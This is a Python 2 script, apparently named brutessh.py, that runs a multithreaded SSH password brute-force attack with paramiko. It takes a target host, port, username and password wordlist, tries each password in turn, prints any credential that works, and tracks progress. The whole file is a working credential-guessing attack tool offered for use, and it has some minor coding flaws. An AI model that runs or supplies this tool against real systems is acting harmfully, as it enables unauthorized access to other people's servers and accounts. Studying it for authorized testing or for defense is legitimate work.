#!/usr/bin/python
import thread
import time
from threading import Thread
import sys, os,threading, time, traceback, getopt
import paramiko
import socket

#paramiko.util.log_to_file('demo.log')

lock = threading.Lock()
finished = 0
passfound = ""

def usage():
    print "Usage: brutessh.py options \n"
    print "       -h: destination host\n"
    print "       -u: username to force\n"
    print "       -d: password file \n"
    print "       -t: threads (default 12, more could be bad)\n\n"
    print "       -p: target port\n\n"
    print "Example:  brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n"
    sys.exit()

class force(Thread):

    def __init__( self, num ):
        Thread.__init__(self)
        self.name = str(num)
        self.die = False
        self.errors = 0

    def run(self):
        global finished
        
        v = ""
        l = 1
        while l > 0 and finished == 0 and not self.die:
            lock.acquire()
            
            l = len(names)
            if l > 0:
                v = names.pop(0)
           
            lock.release()
            
            if l > 0:
                if self.do_job(v):
                    # there was connection error, let's return tried passwd to list
                    self.appendPass(v)
                    self.errors = self.errors + 1
                    if self.errors > 3:
                        print "Thread " + self.name + ": Server can't process so many requests. I'm dying."
                        self.die = True
                            

    def appendPass(self, v):
        print "Returning \""+v+"\" to list."
        lock.acquire()
        v = names.insert(0, v)
        lock.release()

    # do job and returns if there was connection error
    def do_job(self, v):
        global finished
        global passfound

        t = paramiko.Transport(hostname + ":" + port)    

        try:
            t.start_client()
        except Exception as ex:
            t.close()
            print "Can't connect: %s" % ex
            return True

        try:
            t.auth_password(username=username,password=v)
        except Exception as ex:
            t.close()
            print "Pass failed: \"" + v + "\" - %s" % ex
            return False

        if t.is_authenticated():
            print "Auth OK ---> Password Found: " + v
            passfound = v
            finished = 1
        else:
            print "Pass failt: \"" + v + "\" %s" % ex

        t.close()       
        return False


class stats(Thread):

    def __init__( self, total ):
        Thread.__init__(self)
        self.die = False
        self.total = total

    def run(self):
        l = 1
        total = self.total
        while not self.die and l != total:
            time.sleep(5)
            lock.acquire()
            l = len(names)
            lock.release()
            l = total - l
            print "STATS: %.2f done -> %d/%d" % (100*float(l)/total, l, total)
        
        
def test_thread():
    global th

    i = 0
    threads = []
    total = len(names)

    try:
        while i < th:
            print "starting thread " + str(i)
            i = i + 1
            thread=force(i)
            thread.start()
            threads.append(thread)

        thread=stats(total)
        thread.start()
        threads.append(thread)

    except KeyboardInterrupt:
        print "Attack suspended by user..\n"
        sys.exit()

    while len(threads) > 0:
        try:
            for t in threads:
                t.join(1)
                if t is None or not t.isAlive():
                    threads.remove(t)
        except KeyboardInterrupt:
            print "Ctrl-c received! Sending kill to threads..."
            for t in threads:
                t.die = True

def test(argv):
	global th
	global hostname
	global username
	global totaldict
	global port
        global names
	port = "22"
	th = 5
	if len(sys.argv) < 3:
		usage()
	try :
		opts, args = getopt.getopt(argv,"h:u:d:t:p:")
	except getopt.GetoptError:
		usage()
	for opt,arg in opts :
		if opt == '-u':
			username = arg
		elif opt == '-h':
			hostname =arg
		elif opt == '-d':
			password = arg
		elif opt == "-t":
			th = int(arg)
		elif opt == "-p":
			port= arg
	try:
		f = open(password, "r")
	except:
		print "Can't open password file\n"
		sys.exit()

	names = f.readlines()

        # remove trailing \n
        for i in range(0, len(names)):
            if names[i][-1] == '\n':
                names[i] = names[i][:-1]

	totaldict=len(names)

	print "HOST: " + hostname 
	print "PORT: " + port
        print "TREADS: " + str(th)
	print "Username: " + username
	print "Password file: " + password + "(" + str(totaldict) + ")"
	print "========================================================="
	print "Trying password...\n"

	starttime = time.clock()
        test_thread()
	stoptime = time.clock()

	print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime)
        
        if passfound:
            print "Password found: " + passfound
        else:
            print "Sorry no password found."

        if len(names) > 0:
            print "Ops, those pass were not tested:"
            for p in names:
                print p

	print "\n"        

if __name__ == "__main__":
	try:
		test(sys.argv[1:])
	except KeyboardInterrupt:
		print "Attack suspended by user...\n"
		sys.exit()
